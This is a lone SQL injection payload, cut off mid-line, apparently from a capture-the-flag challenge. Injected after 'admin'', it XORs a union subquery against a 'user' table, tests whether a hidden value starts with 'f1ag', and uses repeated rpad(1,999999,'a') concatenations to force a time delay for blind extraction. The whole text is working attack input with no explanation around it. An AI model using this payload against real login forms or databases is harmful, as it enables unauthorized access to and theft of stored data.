admin'^(select+(select b from (select 1 as a,2 as b from user where 1=2 union select * from user) b) like'f1ag%'+and+concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')...